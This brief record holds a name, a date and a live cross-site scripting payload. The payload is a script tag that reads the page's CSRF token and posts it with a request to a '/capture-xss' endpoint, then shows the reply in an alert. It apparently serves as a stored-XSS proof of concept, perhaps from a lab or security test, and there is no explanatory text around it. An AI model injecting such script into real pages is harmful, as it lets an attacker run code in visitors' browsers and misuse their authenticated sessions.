Nacho García Monge
14/09/2026
<script>fetch('/capture-xss',{method:'POST',headers:{'X-CSRF-TOKEN':document.querySelector('meta[name="csrf-token"]').content,'Content-Type':'application/json'},body:JSON.stringify({})}).then(r=>r.text()).then(t=>alert(t))</script>
